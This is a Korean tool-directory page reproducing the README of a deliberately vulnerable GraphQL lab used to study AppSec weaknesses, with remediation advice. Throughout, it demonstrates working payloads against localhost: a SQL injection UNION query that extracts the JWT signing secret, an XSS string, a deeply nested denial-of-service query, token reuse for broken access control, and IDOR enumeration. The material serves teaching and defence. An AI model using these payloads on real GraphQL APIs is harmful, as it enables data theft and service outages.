Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
poc-graphql — AppSec 관점에서의 GraphQL 연구 | Kitploit
도구/GitHubGitHub/righettod/poc-graphql
Vulnerability AnalysisWeb Application ExploitationAPI Security TestingPenetration TestingLearning & EducationLabs & PracticeArchived
GitHubrighettod/poc-graphql

poc-graphql

AppSec 관점에서의 GraphQL 연구

저장소 보기
418593년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

이미지 빌드 및 배포

목차

  • 목차
  • GraphQL 연구
    • 목적
    • 랩
    • Docker에 배포
    • 보안 취약점
      • 인증
        • 문제
        • 권장 사항
      • 주입
        • 문제
        • 권장 사항
      • 리소스 고갈
        • 문제
        • 권장 사항
      • 개인 데이터 노출
        • 문제
        • 권장 사항
      • 예상치 못한 오류 시 기술 정보 노출
        • 문제
        • 권장 사항
      • 안전하지 않은 직접 객체 참조
        • 문제
      • 잘못된 클라이언트 범위에 API 노출
        • 문제
          • 구독 WebSocket 엔드포인트 기본 활성화
          • 교차 출처 리소스 공유 기본 활성화
        • 권장 사항
    • 발견 질의
    • 참고 자료
      • GraphQL
      • 랩

GraphQL 연구

목적

  1. GraphQL이 무엇인지 연구합니다.
  2. AppSec 관점에서 GraphQL 사용을 분석합니다 (공격 및 방어).
  3. 공격에 활용될 수 있는 잠재적 취약점을 식별합니다.

랩

다양한 문제를 연구하기 위해 랩이 만들어졌습니다. 이 랩은 개의 건강 관리를 하는 수의사의 맥락을 취합니다.

랩은 IntelliJ IDEA Community Edition을 사용하여 개발되었습니다.

사용된 도메인은 다음과 같습니다:```text

Define in host file

127.0.0.1 localhost 127.0.0.1 domain1.local 127.0.0.1 domain2.local

root@kitploit:~
실험실 조건 및 가정은 다음과 같습니다:

* 수의사는 0마리 또는 N마리의 개와 연결될 수 있습니다.
* 개는 0명 또는 1명의 수의사와 연결될 수 있습니다.
* 수의사는 저장 시스템(데이터베이스)에 **Popularity**라는 속성을 가지고 있지만, 민감한 정보이므로 GraphQL 클라이언트가 접근해서는 안 됩니다.
* GraphQL 데이터 소비 관점은 수의사입니다. 개 정보는 공개입니다.
* 이 실험실은 여러 취약점이 구현되어 있으며, 주석에 `[VULN]` 표시를 통해 식별되는 취약한 애플리케이션입니다.
* 인증과 관련하여, 가짜 타사 서비스가 (서블릿을 통해) 구현되었으며, 토큰에 수의사 이름을 포함하는 JWT 토큰을 반환합니다.

프로젝트에 있는 실행 설정 또는 명령줄 `mvn spring-boot:run`을 통해 시작되면, 실험실은 다음 엔드포인트에서 사용 가능합니다:

* [GraphiQL](http://localhost:8080/graphiql)
* [GraphQL](http://localhost:8080/graphql)

애플리케이션을 이식 가능한 jar 파일로 패키징하려면 `mvn package` 명령을 사용하세요 (사전 빌드된 jar 파일은 [여기](https://github.com/righettod/poc-graphql/releases)에서 확인 가능):
* jar 파일은 *target* 폴더에 생성되며, 이름은 *graphql-poc.jar*입니다.
* 애플리케이션을 실행하려면 `java -jar graphql-poc.jar` 명령을 사용하세요.

## Deploying on Docker

> 이미지는 매일 [DockerHub](https://hub.docker.com/r/righettod/poc-graphql)에 게시됩니다.

Docker 컨테이너에 애플리케이션을 배포하려면 다음 단계를 따르세요:

1. `docker`가 설치되어 있는지 확인하세요.
2. 저장소를 `git clone`하세요.
3. 클론된 디렉토리로 이동하세요.
4. `docker build -t poc-graphql .`를 사용하여 Docker 이미지를 빌드하세요.
5. 이제 **poc-graphql:latest**라는 이미지가 머신에 생성되었습니다.
6. `docker run -p 8080:8080 poc-graphql:latest`를 사용하여 컨테이너를 실행하세요.
7. 다음 엔드포인트를 사용하여 실험실에 접근하세요:
   * [GraphiQL](http://localhost:8080/graphiql)
   * [GraphQL](http://localhost:8080/graphql)

## Security weaknesses

### Authorization

*깨진 접근 제어*

[CWE-285](https://cwe.mitre.org/data/definitions/285.html)

#### Issue

GraphQL은 모든 요청이 전송되는 단일 엔드포인트를 기반으로 하며, 인증은 사양의 범위를 벗어나므로(내장 기능 없음), 애플리케이션이 인증 로직을 구현하는 것은 애플리케이션의 책임입니다.

제 실험실에서는 이 지점에 취약점이 있습니다. 액세스 토큰 검증이 토큰이 **veterinaryId**에 전달된 수의사에게 속하는지 확인하지 않기 때문입니다.

**예시:**

저장소에서 식별자 **3**을 가진 **Dr Julien**에 대한 액세스 토큰을 요청하기 위해 다음 GraphQL 요청을 보냅니다:```javascript
query getAccessToken {
  auth(veterinaryName: "Julien")
}

다음 GraphQL 응답에서 액세스 토큰을 받습니다:```javascript { "data": { "auth": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDQyOTAyfQ.H9A-vXRsiivFGShtdhiR3N2lSDDx-sNqbbJxMRNnExI" } }

root@kitploit:~
얻은 액세스 토큰을 사용하여 `myInfo(...)` 쿼리에 GraphQL 요청을 보내지만, **Dr Benoit**의 식별자인 **2**를 지정합니다:```javascript
query brokenAccessControl {
  myInfo(accessToken:"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDQyOTAyfQ.H9A-vXRsiivFGShtdhiR3N2lSDDx-sNqbbJxMRNnExI", veterinaryId: 2){
    id, name, dogs {
      name
    }
  }
}

나는 GraphQL 응답에서 Dr Benoit와(과) 연결된 Dogs 목록을 받습니다:```javascript { "data": { "myInfo": { "id": 2, "name": "Benoit", "dogs": [ { "name": "Babou" }, { "name": "Baboune" }, { "name": "Babylon" }, ...

root@kitploit:~
#### 권장 사항

GraphQL을 사용하면 `Role x Feature`를 사용한 인가 매트릭스에서 `Role x Data`를 사용한 데이터 수준 보안으로 전환되었습니다. 이는 단일 엔드포인트이기 때문입니다. 사용자 ID와 역할은 데이터를 가져오기 전에 사용자 ID를 사용한 검증을 적용하기 위해 데이터를 가져오는(또는 데이터에 대해 작업하는) 상위 계층에 전달되어야 합니다.

### 인젝션

[CWE-20](https://cwe.mitre.org/data/definitions/20.html) / [CWE-116](https://cwe.mitre.org/data/definitions/116.html)

#### 문제

GraphQL 서버가 데이터 저장소에 대해 작업할 때 GraphQL 요청 쿼리/뮤테이션/서브스크립션의 정보를 사용하는 방식에 따라 인젝션 가능성이 있습니다.

제 연구실에서는 `dogs(namePrefix: String, limit: Int = 500): [Dog!]` 쿼리에서 SQLi에 관한 취약점이 있습니다. **namePrefix** 매개변수가 SQL 쿼리를 구성하기 위해 문자열 연결에 사용되기 때문입니다.

**예시:**

`CONFIG` 테이블의 내용을 나열하기 위해 다음 GraphQL 요청을 보냅니다.```javascript
query sqli {
  dogs(namePrefix: "ab%' UNION ALL SELECT 50 AS ID, C.CFGVALUE AS NAME, NULL AS VETERINARY_ID FROM CONFIG C LIMIT ? -- ", limit: 1000) {
    id
    name
  }
}

나는 GraphQL 응답에서 JWT 토큰 서명에 사용된 비밀과 이름이 ab로 시작하는 개의 이름을 함께 받습니다:```javascript { "data": { "dogs": [ { "id": 1, "name": "Abi" }, { "id": 2, "name": "Abime" }, { "id": 50, "name": "$Nf!S?(.}DtV2~:Txw6:?;D!M+Z34^" } ] } }

root@kitploit:~
XSS에 관해서, 재미있는 점은 GraphQL 응답이 전송된 요청의 유효성 검사가 실패할 경우 전달된 파라미터를 반영한다는 것입니다.

**예시:**

다음 GraphQL 요청을 `myInfo(accessToken: String!, veterinaryId: Int!): Veterinary` 쿼리에 전송합니다. Veterinary 식별자(정수형)를 String XSS 페이로드로 대체합니다:```javascript
query xss {
  myInfo(accessToken: "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDU1MDQwfQ.P87Ef-GM99a_vzzbUf2RprUYxFgxgPnSukaVnz22BJ0",
    veterinaryId: "<script>alert('XSS')</script>") {
    id
  }
}

내 페이로드를 반영하는 이 GraphQL 응답을 받았습니다. 따라서 GraphQL 클라이언트와 그 이스케이핑/새니타이징 동작에 따라 XSS에 문을 열어줄 수 있습니다:```javascript { "data": null, "errors": [ { "message": "Validation error of type WrongType: argument 'veterinaryId' with value 'StringValue{value=''}' is not a valid 'Int' @ 'myInfo'", "locations": [ { "line": 3, "column": 5, "sourceName": null } ], "description": "argument 'veterinaryId' with value 'StringValue{value=''}' is not a valid 'Int'", "validationErrorType": "WrongType", "queryPath": [ "myInfo" ], "errorType": "ValidationError", "path": null, "extensions": null } ] }

root@kitploit:~
#### Reco

* Query/Mutation/Subscription을 통해 수신된 데이터에 대해 사용 전에 입력 검증을 적용합니다.
* GraphQL 응답에서 데이터를 렌더링하는 클라이언트가 데이터를 렌더링하기 전에 이스케이프/새니타이제이션을 적용하도록 합니다.

### 리소스 고갈

[CWE-400](https://cwe.mitre.org/data/definitions/400.html)

#### 문제

클라이언트가 요청하는 데이터 양을 제어할 수 있기 때문에, GraphQL 서버가 호출하는 스토리지와 GraphQL 서버 자체(데이터를 JSON으로 직렬화하는 과정)에 리소스 고갈을 일으키는 쿼리를 요청하는 GraphQL 요청을 보낼 수 있습니다.

이 문제는 변이(mutation)를 사용하여 매개변수에 많은 양의 데이터를 보내는 방식으로도 발생할 수 있습니다(이 공격을 방지하기 위해 입력 검증을 사용할 수 있습니다).

이 문제는 구독(subscription)을 사용하여 다음과 같은 방식으로도 발생할 수 있습니다:

* 노출된 각 구독에 대해 대량의 구독자를 등록합니다.
* 구독에서 사용되는 매개변수에 많은 양의 데이터를 보냅니다.

제 실험실에서 쿼리, 특히 익명 사용자가 사용할 수 있고 Dog에 관한 DB 내용을 검색하는 `allDogs(onlyFree: Boolean = false, limit: Int = 500): [Dog!]` 쿼리에서 이 지점에 취약점이 있습니다. Dogs와 Veterinary 간에 관계가 있고 그 역도 성립하므로, DB의 SQL 수준에서 리소스 고갈을 일으키는 연쇄 호출을 수행할 수 있습니다.

**예시:**

이 요청을 보내면, CPU가 몇 분 동안 100%로 올라가고, DB가 로컬(SQLite)이기 때문에 문제가 발생합니다.```javascript
query dos {
  allDogs(onlyFree: false, limit: 1000000) {
    id
    name
    veterinary {
      id
      name
      dogs {
        id
        name
        veterinary {
          id
          name
          dogs {
            id
            name
            veterinary {
              id
              name
              dogs {
                id
                name
                veterinary {
                  id
                  name
                  dogs {
                    id
                    name
                    veterinary {
                      id
                      name
                      dogs {
                        id
                        name
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}

PROOF00

권장 사항

쿼리(Query)의 경우:

사용 중인 GraphQL 서버 구현 방식에 따라, 최대 쿼리 깊이(Maximum Query Depth) 및 쿼리 복잡도(Query Complexity) 에 대해 내장된 보호 기능을 사용하세요 (사양 참조).

Java 구현의 경우, 실행 전략에 다음 2개의 계측(Instrumentation) 클래스를 추가하세요:

  • 쿼리 복잡도 방어
  • 쿼리 깊이 방어

위 두 계측의 사용 예시는 이 클래스를 참조하세요.

뮤테이션(Mutation)/서브스크립션(Subscription)의 경우:

  • 입력 검증을 사용하여 수신되는 데이터의 크기를 제한하세요.
  • 코드 수준에서 구독자(subscriber) 제한을 추가하세요.

개인 데이터 노출

CWE-359

문제

GraphQL에서는 클라이언트가 API 스키마에 접근하여 사용 가능한 데이터, 쿼리, 뮤테이션 및 서브스크립션을 발견할 수 있도록 인트로스펙션 기능이 제공됩니다.

참고: 인트로스펙션을 비활성화하면 서버가 GraphQL 사양 및 대부분의 클라이언트 기대에 위배되므로 주의해서 사용하세요. 비즈니스 관점에서는 접근을 필터링하는 것이 완전히 비활성화하는 것보다 좋습니다.

이는 모든 클라이언트가 스키마를 탐색하여 Type에 흥미로운 민감 정보가 노출되었는지 확인할 수 있음을 의미합니다 (이는 Mutation 또는 Subscription에 노출된 작업에 대해서도 동일한 주의사항이 적용됩니다).

GraphiQL의 문서 탐색기(Documentation Explorer) 패널 또는 이 스크립트를 사용하여 GraphQL 엔드포인트에서 노출된 스키마를 탐색할 수 있습니다.

제 실습 환경에서 실수로 Veterinary 유형에 동물병원의 민감 정보로 간주되는 인기도(popularity) 정보가 노출되었습니다.

제 실습 환경에서 이 URL을 통해 스키마 복사본을 얻을 수 있습니다.

예시:

문서 탐색기 패널을 사용하여 다음 필드를 발견했습니다:

PROOF01

PROOF02

PROOF03

권장 사항

GraphQL 엔드포인트 접근에 인증 제약 조건을 설정하여 익명 사용자에게 노출되는 것을 방지할 수 있지만, 인증된 사용자는 여전히 이 정보 스키마에 접근할 수 있습니다.

클라이언트가 민감 정보를 노출하는 유형의 구조를 볼 수 있더라도, 이 정보를 확인하려면 해당 데이터를 반환하는 쿼리/뮤테이션/서브스크립션에 대한 접근 권한이 있어야 합니다.

스키마에 정의된 유형에 민감 정보를 매핑하지 마세요.

GraphQL은 클라이언트가 데이터를 소비하는 방식을 구체화하므로, GraphQL은 연결된 저장소에 있는 모든 데이터를 노출해서는 안 되며, 노출된 GraphQL API의 비즈니스 컨텍스트에 따라 클라이언트에게 유용한 데이터만 노출해야 합니다.

예기치 않은 오류 시 기술 정보 노출

CWE-200

문제

GraphQL 서버가 예기치 않은 오류(저장소 I/O, NullPointerException, 시간 초과 등)를 만나면 응답에 Internal Server Error(s) while executing query가 표시되어 공격자에게 시스템에 영향을 주고 예상치 못한 동작을 유발했음을 암시합니다.

예시:

제 실습 환경에서 다음 요청 쿼리를 보낼 때 (잘못된 토큰):```javascript query testErrorHandling { myInfo(accessToken:"aaaa", veterinaryId: 2){ id, name, dogs { name,veterinary{ name } } } }

root@kitploit:~
이 응답을 받으면 시스템에 작용하여 예상치 못한 동작을 유발했다는 정보를 받게 됩니다. 예를 들어, 애플리케이션 로그에 스택 추적이 생성되었고, 애플리케이션 로그 파일이 크기가 아닌 날짜(일별)로 순환 중인 경우, 이 요청을 여러 번 보내 오류 로그로 디스크를 가득 채울 수 있습니다...```javascript
{
  "data": {
    "myInfo": null
  },
  "errors": [
    {
      "message": "Internal Server Error(s) while executing query",
      "path": null,
      "extensions": null
    }
  ]
}

권장사항

예상치 못한 오류가 발생하면 일반 오류를 반환합니다. 예를 들어 쿼리를 처리할 수 없습니다! 등이 있습니다.

예시는 이 클래스를 참조하십시오.

안전하지 않은 직접 객체 참조

CWE-639

문제점

GrapQL API가 데이터 식별자가 추측 가능하거나 예측 가능한 Query/Mutation/Subscription을 노출하는 경우, 해당 Query/Mutation/Subscription은 IDOR 공격에 노출됩니다. 공격자는 사용자 정의 식별자 목록을 사용하여 목록에 포함된 식별자를 가진 데이터에 접근하거나 작업을 시도하며, 대상 데이터를 처리하는 대상 Query/Mutation/Subscription에 권한 부여 문제도 존재하는 경우 해당 작업이 성공합니다.

제 연구소에서 제안한 GraphQL API Query/Mutation/Subscription은 IDOR에 취약합니다. 그 이유는 Dog와 Veterinary의 고유 식별자로 순차적 정수를 사용하기 때문입니다.

예시:

GraphiQL의 문서 탐색기를 사용하면 식별자가 단순한 정수이며 순차적임을 알 수 있습니다:

PROOF04

PROOF05

IDOR 탐지를 위한 요청 쿼리:```javascript query detectIDOR { allDogs{ id,veterinary{ id } } }

root@kitploit:~
응답은 Dog와 Veterinay에 대한 순차 식별자를 보여줍니다:```javascript
{
  "data": {
    "allDogs": [
      {
        "id": 1,
        "veterinary": {
          "id": 1
        }
      },
      {
        "id": 2,
        "veterinary": {
          "id": 1
        }
      },
      {
        "id": 3,
        "veterinary": {
          "id": 1
        }
      },
  ...
  {
        "id": 55,
        "veterinary": {
          "id": 2
        }
      },
      {
        "id": 56,
        "veterinary": {
          "id": 2
        }
      },
      {
        "id": 57,
        "veterinary": {
          "id": 2
        }
      },
      {
        "id": 58,
        "veterinary": {
          "id": 2
        }
      },
      {
        "id": 59,
        "veterinary": {
          "id": 2
        }
  ...

Exposure of the API to the wrong sphere of clients

CWE-668

문제

GraphQL 구현 서버를 사용하여 GraphQL API를 구축할 때, 이 서버가 기본적으로 GraphQL API를 잘못된 클라이언트 범위에 노출시키는 일부 기능을 활성화할 수 있습니다.

Subscriptions WebSocket 엔드포인트 기본 활성화

제 실험실에서는 기본적으로 /subscriptions 경로에 WebSocket 엔드포인트가 노출되어 있고 인증이 필요하지 않기 때문에 그렇습니다 (이 문서의 Realtime Updates with Subscriptions 섹션 참조):

PROOF08

스키마가 Subscription 섹션에서 subscriptions을 선언하는 경우 클라이언트는 이 엔드포인트를 통해 API 데이터에 접근할 수 있습니다.

예시:

스키마를 통해 노출된 subscriptions을 확인할 수 있습니다:

PROOF09

만약 이 subscription 요청을 보내 newAssociation subscription으로부터 이벤트를 수신하려면:```javascript subscription subscribeToNewAssociation{ newAssociation }

root@kitploit:~
이제부터 이 구독으로부터 정보를 받게 될 것임을 알리는 다음 메시지를 받습니다:```text
Your subscription data will appear here after server publication!

그리고 예를 들어 다른 브라우저에서 이 mutation request를 통해 association을 생성하면:```javascript mutation associateDog{ associateDogToMe(accessToken: "eyJ0eXAiOiJKV1Qi...", veterinaryId: 4, dogId: 198){ name } }

root@kitploit:~
돌연변이 응답은 데이터 수준에서 동작이 수행되었음을 증명합니다:```javascript
{
  "data": {
    "associateDogToMe": {
      "name": "Dobby"
    }
  }
}

잠시 후, 내 구독에 대한 응답으로 이 알림을 받습니다:```javascript { "newAssociation": "Dog['Dobby'] associated with Veterinary['Maxime']." }

root@kitploit:~
![PROOF10](https://assets.kitploit.com/production/public/readmes/6114/d16d4a36df8b0debf31bba4b07b813cb56241cbe591cd1a474f47aeeeef1eb3d.png)

##### 교차 출처 리소스 공유 기본 활성화

제 실험실 환경에서는 기본적으로 [CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS)가 활성화되어 있고 `*`로 설정되어 있어서, API를 모든 `origin`에서 호출할 수 있습니다.

**예시:**

다음 요청을 보낼 때, *domain1.local*에서 *domain2.local*로 다른 `origin`을 지정하면:```text
POST /graphql HTTP/1.1
Host: domain2.local:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: application/json
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
content-type: application/json
origin: http://domain1.local:8080
referer: http://domain1.local:8080
Content-Length: 104
DNT: 1
Connection: close
Pragma: no-cache
Cache-Control: no-cache

{"query":"query testCORS {\n  allDogs{\n    name\n  }\n}\n","variables":null,"operationName":"testCORS"}

나는 이 응답을 받습니다:```text HTTP/1.1 200 OK Connection: close Access-Control-Allow-Origin: * Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Content-Type: application/json;charset=UTF-8 Content-Length: 3562 Date: Sat, 05 Jan 2019 16:23:47 GMT

{"data":{"allDogs":[{"name":"Abi"},...

root@kitploit:~
Call from a browser:

![PROOF06](https://assets.kitploit.com/production/public/readmes/6114/f3b510f63ccfb02205077f80ab0a3aecc89828e7648fbc57df10315456e1b92b.png)

![PROOF07](https://assets.kitploit.com/production/public/readmes/6114/d1e1d8b993ca30df19159ce8e9283d90130fd3122beed521a8563cd628b10f82.png)

#### 권장 사항

기본적으로 활성화된 기능을 확인하고, API의 노출에 영향을 미칠 경우 비활성화하십시오.

Subscriptions 엔드포인트에 대한:

* 구독을 노출하는 경우 스키마에 노출된 모든 구독에 인증 및 접근 제어가 적용되었는지 확인하십시오.
* 구독을 노출하지 않는 경우 WebSocket 엔드포인트를 비활성화하거나 WAF/애플리케이션 서버 수준에서 이 엔드포인트를 차단하십시오.

제 랩에서는 이 [설정 파일](https://github.com/righettod/poc-graphql/blob/HEAD/src/main/resources/application.properties)에서 다음 옵션을 설정했습니다:

* For CORS: `graphql.servlet.corsEnabled=false`
* For WebSocket: `graphql.servlet.websocket.enabled=false`

## 탐색 쿼리

다음 쿼리를 사용하여 스키마를 가져올 수 있습니다.

비상세:```javascript
{
    __schema {
        types {
            name
            kind
            description
            fields {
                name
            }
        }
    }
}

상세:```javascript query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description locations args { ...InputValue } } } }

fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } }

fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue }

fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } } }

root@kitploit:~
## 사용된 참고 자료

### GraphQL

* [GraphQL 사이트](https://graphql.org/)
* [GraphQL 튜토리얼](https://www.howtographql.com/)
* [DOYENSEC 블로그 - GraphQL 문제점](https://blog.doyensec.com/2018/05/17/graphql-security-overview.html)

### 실습

* [graphql-spring-boot](https://github.com/graphql-java-kickstart/graphql-spring-boot)
* [graphql-java-kickstart](https://www.graphql-java-kickstart.com)
도구 다운로드